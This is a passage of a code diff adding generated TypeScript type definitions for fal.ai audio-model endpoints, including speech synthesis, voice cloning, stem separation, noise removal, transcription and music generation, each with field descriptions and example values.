+export type Speaker = { + speaker_id: number + audio_url: string + prompt: string +} + +export type InputFalAiCsm1B = { + /** + * @description The text to generate an audio from. + * @example [{"speaker_id":0,"text":"Hey how are you doing."},{"speaker_id":1,"text":"Pretty good, pretty good."},{"speaker_id":0,"text":"I'm great, so happy to be speaking to you."}] + * @type array + */ + scene: Turn[] + /** + * @description The context to generate an audio from. + * @example [{"speaker_id":0,"audio_url":"https://huggingface.co/spaces/sesame/csm-1b/resolve/main/prompts/conversational_a.wav","prompt":"like revising for an exam I'd have to try and like keep up the momentum because I'd start really early I'd be like okay I'm gonna start revising now and then like you're revising for ages and then I just like start losing steam I didn't do that for the exam we had recently to be fair that was a more of a last minute scenario but like yeah I'm trying to like yeah I noticed this yesterday that like Mondays I sort of start the day with this not like a panic but like a"},{"speaker_id":1,"audio_url":"https://huggingface.co/spaces/sesame/csm-1b/resolve/main/prompts/conversational_b.wav","prompt":"like a super Mario level. Like it's very like high detail. And like, once you get into the park, it just like, everything looks like a computer game and they have all these, like, you know, if, if there's like a, you know, like in a Mario game, they will have like a question block. And if you like, you know, punch it, a coin will come out. So like everyone, when they come into the park, they get like this little bracelet and then you can go punching question blocks around."}] + * @type array | undefined + */ + context?: Speaker[] +} + +export type File89120411 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiCsm1B = { + /** + * @description The generated audio. + */ + audio: File89120411 | Blob +} + +export const inputFalAiDeepfilternet3AudioFormatEnum = { + mp3: 'mp3', + aac: 'aac', + m4a: 'm4a', + ogg: 'ogg', + opus: 'opus', + flac: 'flac', + wav: 'wav', +} as const + +export type InputFalAiDeepfilternet3AudioFormatEnumKey = + (typeof inputFalAiDeepfilternet3AudioFormatEnum)[keyof typeof inputFalAiDeepfilternet3AudioFormatEnum] + +export type InputFalAiDeepfilternet3 = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The bitrate of the output audio. + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description The URL of the audio to enhance. + * @example https://v3b.fal.media/files/b/0a8a4022/DLoZhabKeVjd3urncoRE4_dirty.mp3 + * @type string + */ + audio_url: string + /** + * @description The format for the output audio. + * @default 'mp3' + * @type string | undefined + */ + audio_format?: InputFalAiDeepfilternet3AudioFormatEnumKey +} + +export type AudioFileC9660A71 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type DeepFilterNetTimings = { + /** + * @description Preprocessing time. + * @type number + */ + preprocess: number + /** + * @description Postprocessing time. + * @type number + */ + postprocess: number + /** + * @description Inference time. + * @type number + */ + inference: number +} + +export type OutputFalAiDeepfilternet3 = { + /** + * @description The audio file that was enhanced. + * @example {"bitrate":"192k","channels":1,"sample_rate":48000,"duration":6.9544375,"url":"https://v3b.fal.media/files/b/0a8a4024/-2cD9CyGEjYsyVQ5lEERh_9qwIkJjf.mp3","file_name":"-2cD9CyGEjYsyVQ5lEERh_9qwIkJjf.mp3","content_type":"audio/mpeg"} + * @type object + */ + audio_file: AudioFileC9660A71 + /** + * @description Timings for each step in the pipeline. + * @type object + */ + timings: DeepFilterNetTimings +} + +export const inputFalAiDemucsOutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', +} as const + +export type InputFalAiDemucsOutputFormatEnumKey = + (typeof inputFalAiDemucsOutputFormatEnum)[keyof typeof inputFalAiDemucsOutputFormatEnum] + +export const inputFalAiDemucsStemsEnum = { + vocals: 'vocals', + drums: 'drums', + bass: 'bass', + other: 'other', + guitar: 'guitar', + piano: 'piano', +} as const + +export type InputFalAiDemucsStemsEnumKey = + (typeof inputFalAiDemucsStemsEnum)[keyof typeof inputFalAiDemucsStemsEnum] + +export const inputFalAiDemucsModelEnum = { + htdemucs: 'htdemucs', + htdemucs_ft: 'htdemucs_ft', + htdemucs_6s: 'htdemucs_6s', + hdemucs_mmi: 'hdemucs_mmi', + mdx: 'mdx', + mdx_extra: 'mdx_extra', + mdx_q: 'mdx_q', + mdx_extra_q: 'mdx_extra_q', +} as const + +export type InputFalAiDemucsModelEnumKey = + (typeof inputFalAiDemucsModelEnum)[keyof typeof inputFalAiDemucsModelEnum] + +export type InputFalAiDemucs = { + /** + * @description Output audio format for the separated stems + * @default 'mp3' + * @example mp3 + * @type string | undefined + */ + output_format?: InputFalAiDemucsOutputFormatEnumKey + /** + * @description Number of random shifts for equivariant stabilization. Higher values improve quality but increase processing time. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + shifts?: number + /** + * @description Specific stems to extract. If None, extracts all available stems. Available stems depend on model: vocals, drums, bass, other, guitar, piano (for 6s model) + * @default ["vocals","drums","bass","other","guitar","piano"] + * @example ["vocals","drums","bass","other","guitar","piano"] + */ + stems?: InputFalAiDemucsStemsEnumKey[] | null + /** + * @description Demucs model to use for separation + * @default 'htdemucs_6s' + * @example htdemucs_6s + * @type string | undefined + */ + model?: InputFalAiDemucsModelEnumKey + /** + * @description URL of the audio file to separate into stems + * @example https://storage.googleapis.com/falserverless/model_tests/audio-understanding/Title_%20Running%20on%20Fal.mp3 + * @type string + */ + audio_url: string + /** + * @description Overlap between segments (0.0 to 1.0). Higher values may improve quality but increase processing time. + * @minimum 0 + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + overlap?: number + /** + * @description Length in seconds of each segment for processing (minimum 1). Smaller values use less memory but may reduce quality. Default is model-specific. + */ + segment_length?: number | null +} + +export type FileA3Ba5F3D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiDemucs = { + /** + * @description Separated other instruments audio file + */ + other?: FileA3Ba5F3D | null + /** + * @description Separated drums audio file + */ + drums?: FileA3Ba5F3D | null + /** + * @description Separated vocals audio file + */ + vocals?: FileA3Ba5F3D | null + /** + * @description Separated guitar audio file (only available for 6s models) + */ + guitar?: FileA3Ba5F3D | null + /** + * @description Separated piano audio file (only available for 6s models) + */ + piano?: FileA3Ba5F3D | null + /** + * @description Separated bass audio file + */ + bass?: FileA3Ba5F3D | null +} + +export type InputFalAiDiaTts = { + /** + * @description The text to be converted to speech. + * @example [S1] Dia is an open weights text to dialogue model. [S2] You get full control over scripts and voices. [S1] Wow. Amazing. (laughs) [S2] Try it now on Fal. + * @type string + */ + text: string + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File3D918Acc = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiDiaTts = { + /** + * @description The generated speech audio + * @example {"url":"https://v3.fal.media/files/elephant/d5lORit2npFfBykcAtyUr_tmplacfh8oa.mp3"} + * @type object + */ + audio: File3D918Acc +} + +export type InputFalAiDiaTtsVoiceClone = { + /** + * @description The text to be converted to speech. + * @example [S1] Hello, how are you? [S2] I'm good, thank you. [S1] What's your name? [S2] My name is Dia. [S1] Nice to meet you. [S2] Nice to meet you too. + * @type string + */ + text: string + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileC91E3989 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiDiaTtsVoiceClone = { + /** + * @description The generated speech audio + * @example {"url":"https://v3.fal.media/files/tiger/smL9a_mr1PRIvZxDSVppk_output.wav"} + * @type object + */ + audio: FileC91E3989 +} + +export type InputFalAiElevenlabsAudioIsolation = { + /** + * @description Video file to use for audio isolation. Either `audio_url` or `video_url` must be provided. + */ + video_url?: string | null + /** + * @description URL of the audio file to isolate voice from + * @example https://v3.fal.media/files/zebra/zJL_oRY8h5RWwjoK1w7tx_output.mp3 + */ + audio_url?: string | null +} + +export type FileF2C9Dd63 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiElevenlabsAudioIsolation = { + /** + * @description Timestamps for each word in the generated speech. Only returned if `timestamps` is set to True in the request. + */ + timestamps?: unknown[] | null + /** + * @description The generated audio file + * @example {"url":"https://v3.fal.media/files/zebra/zJL_oRY8h5RWwjoK1w7tx_output.mp3"} + * @type object + */ + audio: FileF2C9Dd63 +} + +export type InputFalAiElevenlabsForcedAlignment = { + /** + * @description Transcript to align with the audio + * @minLength 1 + * @maxLength 675000 + * @example Hey, this is a test recording for Scribe version two, which is now available on fal.ai. + * @type string + */ + text: string + /** + * @description URL of the audio file to align. The file can be up to 3 GB and the audio can be up to 10 hours long. + * @example https://storage.googleapis.com/falserverless/example_inputs/elevenlabs/scribe_v2_in.mp3 + * @type string + */ + audio_url: string +} + +export type ForcedAlignmentWord = { + /** + * @description The aligned character + * @type string + */ + text: string + /** + * @description Average alignment loss for the word + * @type number + */ + loss: number + /** + * @description End time in seconds + * @type number + */ + end: number + /** + * @description Start time in seconds + * @type number + */ + start: number +} + +export type ForcedAlignmentCharacter = { + /** + * @description The aligned character + * @type string + */ + text: string + /** + * @description End time in seconds + * @type number + */ + end: number + /** + * @description Start time in seconds + * @type number + */ + start: number +} + +export type OutputFalAiElevenlabsForcedAlignment = { + /** + * @description Word-level alignment details + * @type array + */ + words: ForcedAlignmentWord[] + /** + * @description Average alignment loss for the transcript + * @type number + */ + loss: number + /** + * @description Character-level alignment details + * @type array + */ + characters: ForcedAlignmentCharacter[] +} + +export type MusicSection = { + /** + * @description The lyrics of the section. Each line must be at most 200 characters long. + * @type array + */ + lines: string[] + /** + * @description The styles that should not be present in this section. + * @type array + */ + negative_local_styles: string[] + /** + * @description The name of the section. Must be between 1 and 100 characters. + * @minLength 1 + * @maxLength 100 + * @type string + */ + section_name: string + /** + * @description The duration of the section in milliseconds. Must be between 3000ms and 120000ms. + * @minimum 3000 + * @maximum 120000 + * @type integer + */ + duration_ms: number + /** + * @description The styles that should be present in this section. + * @type array + */ + positive_local_styles: string[] +} + +export type MusicCompositionPlan = { + /** + * @description The sections of the song. + * @type array + */ + sections: MusicSection[] + /** + * @description The styles that should be present in the entire song. + * @type array + */ + positive_global_styles: string[] + /** + * @description The styles that should not be present in the entire song. + * @type array + */ + negative_global_styles: string[] +} + +export const inputFalAiElevenlabsMusicOutputFormatEnum = { + mp3_22050_32: 'mp3_22050_32', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputFalAiElevenlabsMusicOutputFormatEnumKey = + (typeof inputFalAiElevenlabsMusicOutputFormatEnum)[keyof typeof inputFalAiElevenlabsMusicOutputFormatEnum] + +/** + * @description Request format for Elevenlabs Music API + * @type object + */ +export type InputFalAiElevenlabsMusic = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The composition plan for the music + */ + composition_plan?: MusicCompositionPlan | null + /** + * @description Controls how strictly section durations in the composition_plan are enforced. It will only have an effect if it is used with composition_plan. When set to true, the model will precisely respect each section's duration_ms from the plan. When set to false, the model may adjust individual section durations which will generally lead to better generation quality and improved latency, while always preserving the total song duration from the plan. + * @default true + * @type boolean | undefined + */ + respect_sections_durations?: boolean + /** + * @description Output format of the generated audio. Formatted as codec_sample_rate_bitrate. So an mp3 with 22.05kHz sample rate at 32kbs is represented as mp3_22050_32. MP3 with 192kbps bitrate requires you to be subscribed to Creator tier or above. PCM with 44.1kHz sample rate requires you to be subscribed to Pro tier or above. Note that the μ-law format (sometimes written mu-law, often approximated as u-law) is commonly used for Twilio audio inputs. + * @default 'mp3_44100_128' + * @type string | undefined + */ + output_format?: InputFalAiElevenlabsMusicOutputFormatEnumKey + /** + * @description If true, guarantees that the generated song will be instrumental. If false, the song may or may not be instrumental depending on the prompt. Can only be used with prompt. + * @default false + * @type boolean | undefined + */ + force_instrumental?: boolean + /** + * @description The length of the song to generate in milliseconds. Used only in conjunction with prompt. Must be between 3000ms and 600000ms. Optional - if not provided, the model will choose a length based on the prompt. + */ + music_length_ms?: number | null + /** + * @description The text prompt describing the music to generate + * @example Mysterious original soundtrack, themes of jungle, rainforest, nature, woodwinds, busy rhythmic tribal percussion. + */ + prompt?: string | null +} + +export type File6A45E2Bf = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiElevenlabsMusic = { + /** + * @description The generated music audio file in MP3 format + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/elevenlabs/music_generated.mp3","content_type":"audio/mpeg","file_name":"music_generated.mp3"} + * @type object + */ + audio: File6A45E2Bf +} + +export const inputFalAiElevenlabsSoundEffectsV2OutputFormatEnum = { + mp3_22050_32: 'mp3_22050_32', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputFalAiElevenlabsSoundEffectsV2OutputFormatEnumKey = + (typeof inputFalAiElevenlabsSoundEffectsV2OutputFormatEnum)[keyof typeof inputFalAiElevenlabsSoundEffectsV2OutputFormatEnum] + +export type InputFalAiElevenlabsSoundEffectsV2 = { + /** + * @description Output format of the generated audio. Formatted as codec_sample_rate_bitrate. + * @default 'mp3_44100_128' + * @type string | undefined + */ + output_format?: InputFalAiElevenlabsSoundEffectsV2OutputFormatEnumKey + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Duration in seconds (0.5-22). If None, optimal duration will be determined from prompt. + */ + duration_seconds?: number | null + /** + * @description The text describing the sound effect to generate + * @maxLength 450 + * @example Spacious braam suitable for high-impact movie trailer moments + * @example A gentle wind chime tinkling in a soft breeze + * @type string + */ + text: string + /** + * @description How closely to follow the prompt (0-1). Higher values mean less variation. + * @minimum 0 + * @maximum 1 + * @default 0.3 + * @type number | undefined + */ + prompt_influence?: number + /** + * @description Whether to create a sound effect that loops smoothly. + * @default false + * @type boolean | undefined + */ + loop?: boolean +} + +export type FileFa1Ca3Ef = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output format for generated sound effects + * @type object + */ +export type OutputFalAiElevenlabsSoundEffectsV2 = { + /** + * @description The generated sound effect audio file in MP3 format + * @example {"url":"https://v3.fal.media/files/lion/WgnO-jy6WduosuG_Ibobx_sound_effect.mp3"} + * @type object + */ + audio: FileFa1Ca3Ef +} + +export type InputFalAiElevenlabsSpeechToText = { + /** + * @description Whether to annotate who is speaking + * @default true + * @type boolean | undefined + */ + diarize?: boolean + /** + * @description Language code of the audio + * @example eng + * @example spa + * @example fra + * @example deu + * @example jpn + */ + language_code?: string | null + /** + * @description URL of the audio file to transcribe + * @example https://v3.fal.media/files/zebra/zJL_oRY8h5RWwjoK1w7tx_output.mp3 + * @type string + */ + audio_url: string + /** + * @description Tag audio events like laughter, applause, etc. + * @default true + * @type boolean | undefined + */ + tag_audio_events?: boolean +} + +export type TranscriptionWord = { + /** + * @description Type of element (word, spacing, or audio_event) + * @type string + */ + type: string + /** + * @description Speaker identifier if diarization was enabled + */ + speaker_id?: string | null + /** + * @description End time in seconds + */ + end?: number | null + /** + * @description The transcribed word or audio event + * @type string + */ + text: string + /** + * @description Start time in seconds + */ + start?: number | null +} + +export type OutputFalAiElevenlabsSpeechToText = { + /** + * @description Word-level transcription details + * @type array + */ + words: TranscriptionWord[] + /** + * @description Detected or specified language code + * @type string + */ + language_code: string + /** + * @description Confidence in language detection + * @type number + */ + language_probability: number + /** + * @description The full transcribed text + * @type string + */ + text: string +} + +export type InputFalAiElevenlabsSpeechToTextScribeV2 = { + /** + * @description Whether to annotate who is speaking + * @default true + * @type boolean | undefined + */ + diarize?: boolean + /** + * @description Language code of the audio + * @example eng + * @example spa + * @example fra + * @example deu + * @example jpn + */ + language_code?: string | null + /** + * @description Words or sentences to bias the model towards transcribing. Up to 100 keyterms, max 50 characters each. Adds 30% premium over base transcription price. + * @default [] + * @type array | undefined + */ + keyterms?: string[] + /** + * @description URL of the audio file to transcribe + * @example https://storage.googleapis.com/falserverless/example_inputs/elevenlabs/scribe_v2_in.mp3 + * @type string + */ + audio_url: string + /** + * @description Tag audio events like laughter, applause, etc. + * @default true + * @type boolean | undefined + */ + tag_audio_events?: boolean +} + +export type OutputFalAiElevenlabsSpeechToTextScribeV2 = { + /** + * @description Word-level transcription details + * @example {"type":"word","speaker_id":"speaker_0","end":0.539,"start":0.079,"text":"Hey,"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":0.599,"start":0.539,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":0.679,"start":0.599,"text":"this"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":0.739,"start":0.679,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":0.799,"start":0.739,"text":"is"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":0.939,"start":0.799,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":0.939,"start":0.939,"text":"a"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":0.959,"start":0.939,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":1.179,"start":0.959,"text":"test"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":1.219,"start":1.179,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":1.719,"start":1.22,"text":"recording"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":1.719,"start":1.719,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":1.86,"start":1.719,"text":"for"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":1.879,"start":1.86,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":2.24,"start":1.879,"text":"Scribe"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":2.319,"start":2.24,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":2.759,"start":2.319,"text":"version"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":2.779,"start":2.759,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":3.379,"start":2.779,"text":"two,"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":3.399,"start":3.379,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":3.519,"start":3.399,"text":"which"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":3.539,"start":3.519,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":3.659,"start":3.539,"text":"is"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":3.699,"start":3.659,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":3.839,"start":3.699,"text":"now"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":3.839,"start":3.839,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":4.319,"start":3.839,"text":"available"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":4.339,"start":4.319,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":4.579,"start":4.339,"text":"on"} + * @example {"type":"spacing","speaker_id":"speaker_0","end":4.599,"start":4.579,"text":" "} + * @example {"type":"word","speaker_id":"speaker_0","end":5.699,"start":4.599,"text":"fal.ai."} + * @type array + */ + words: TranscriptionWord[] + /** + * @description Detected or specified language code + * @example eng + * @type string + */ + language_code: string + /** + * @description Confidence in language detection + * @example 1 + * @type number + */ + language_probability: number + /** + * @description The full transcribed text + * @example Hey, this is a test recording for Scribe version two, which is now available on fal.ai. + * @type string + */ + text: string +} + +export type DialogueBlock = { + /** + * @description The name or the ID of the voice to be used for the generation. + * @example Aria + * @example Roger + * @example Sarah + * @example Laura + * @example Charlie + * @example George + * @example Callum + * @example River + * @example Liam + * @example Charlotte + * @example Alice + * @example Matilda + * @example Will + * @example Jessica + * @example Eric + * @example Chris + * @example Brian + * @example Daniel + * @example Lily + * @example Bill + * @type string + */ + voice: string + /** + * @description The dialogue text + * @type string + */ + text: string +} + +export type PronunciationDictionaryLocator = { + /** + * @description The ID of the pronunciation dictionary. + */ + pronunciation_dictionary_id?: string | null + /** + * @description The ID of the version of the pronunciation dictionary. If not provided, the latest version will be used. + */ + version_id?: string | null +} + +export type InputFalAiElevenlabsTextToDialogueElevenV3 = { + /** + * @description A list of dialogue inputs, each containing text and a voice ID which will be converted into speech. + * @example [{"voice":"Aria","text":"[applause] Thank you all for coming tonight! Today we have a very special guest with us."},{"voice":"Charlotte","text":"[gulps] ... [strong canadian accent] [excited] Hello everyone! Thank you all for having me tonight on this special day."}] + * @type array + */ + inputs: DialogueBlock[] + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @default [] + * @type array | undefined + */ + pronunciation_dictionary_locators?: PronunciationDictionaryLocator[] + /** + * @description This setting boosts the similarity to the original speaker. Using this setting requires a slightly higher computational load, which in turn increases latency. + */ + use_speaker_boost?: boolean | null + /** + * @description Language code (ISO 639-1) used to enforce a language for the model. An error will be returned if language code is not supported by the model. + */ + language_code?: string | null + /** + * @description Determines how stable the voice is and the randomness between each generation. Lower values introduce broader emotional range for the voice. Higher values can result in a monotonous voice with limited emotion. Must be one of 0.0, 0.5, 1.0, else it will be rounded to the nearest value. + */ + stability?: number | null +} + +export type FileF186370E = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiElevenlabsTextToDialogueElevenV3 = { + /** + * @description Random seed for reproducibility. + * @type integer + */ + seed: number + /** + * @description The generated audio file + * @example {"url":"https://v3.fal.media/files/zebra/XFeGS8Fq-q1eAPG2sSAo__output.mp3"} + * @type object + */ + audio: FileF186370E +} + +export const inputFalAiElevenlabsTtsElevenV3ApplyTextNormalizationEnum = { + auto: 'auto', + on: 'on', + off: 'off', +} as const + +export type InputFalAiElevenlabsTtsElevenV3ApplyTextNormalizationEnumKey = + (typeof inputFalAiElevenlabsTtsElevenV3ApplyTextNormalizationEnum)[keyof typeof inputFalAiElevenlabsTtsElevenV3ApplyTextNormalizationEnum] + +/** + * @description Request model for eleven_v3 which doesn't support previous_text/next_text + * @type object + */ +export type InputFalAiElevenlabsTtsElevenV3 = { + /** + * @description The voice to use for speech generation + * @default 'Rachel' + * @example Aria + * @example Roger + * @example Sarah + * @example Laura + * @example Charlie + * @example George + * @example Callum + * @example River + * @example Liam + * @example Charlotte + * @example Alice + * @example Matilda + * @example Will + * @example Jessica + * @example Eric + * @example Chris + * @example Brian + * @example Daniel + * @example Lily + * @example Bill + * @type string | undefined + */ + voice?: string + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to return timestamps for each word in the generated speech + * @default false + * @type boolean | undefined + */ + timestamps?: boolean + /** + * @description The text to convert to speech + * @minLength 1 + * @maxLength 5000 + * @example Hello! This is a test of the text to speech system, powered by ElevenLabs. How does it sound? + * @type string + */ + text: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model. + */ + language_code?: string | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @type string | undefined + */ + apply_text_normalization?: InputFalAiElevenlabsTtsElevenV3ApplyTextNormalizationEnumKey + /** + * @description Voice stability (0-1) + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + stability?: number +} + +export type File984056F5 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiElevenlabsTtsElevenV3 = { + /** + * @description Timestamps for each word in the generated speech. Only returned if `timestamps` is set to True in the request. + */ + timestamps?: unknown[] | null + /** + * @description The generated audio file + * @example {"url":"https://v3.fal.media/files/zebra/zJL_oRY8h5RWwjoK1w7tx_output.mp3"} + * @type object + */ + audio: File984056F5 +} + +export const inputFalAiElevenlabsTtsMultilingualV2ApplyTextNormalizationEnum = { + auto: 'auto', + on: 'on', + off: 'off', +} as const + +export type InputFalAiElevenlabsTtsMultilingualV2ApplyTextNormalizationEnumKey = + (typeof inputFalAiElevenlabsTtsMultilingualV2ApplyTextNormalizationEnum)[keyof typeof inputFalAiElevenlabsTtsMultilingualV2ApplyTextNormalizationEnum] + +export type InputFalAiElevenlabsTtsMultilingualV2 = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to return timestamps for each word in the generated speech + * @default false + * @type boolean | undefined + */ + timestamps?: boolean + /** + * @description Speech speed (0.7-1.2). Values below 1.0 slow down the speech, above 1.0 speed it up. Extreme values may affect quality. + * @minimum 0.7 + * @maximum 1.2 + * @default 1 + * @type number | undefined + */ + speed?: number + /** + * @description The text that came before the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + */ + previous_text?: string | null + /** + * @description Language code (ISO 639-1) used to enforce a language for the model. An error will be returned if language code is not supported by the model. + */ + language_code?: string | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @type string | undefined + */ + apply_text_normalization?: InputFalAiElevenlabsTtsMultilingualV2ApplyTextNormalizationEnumKey + /** + * @description The text that comes after the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + */ + next_text?: string | null + /** + * @description The voice to use for speech generation + * @default 'Rachel' + * @example Aria + * @example Roger + * @example Sarah + * @example Laura + * @example Charlie + * @example George + * @example Callum + * @example River + * @example Liam + * @example Charlotte + * @example Alice + * @example Matilda + * @example Will + * @example Jessica + * @example Eric + * @example Chris + * @example Brian + * 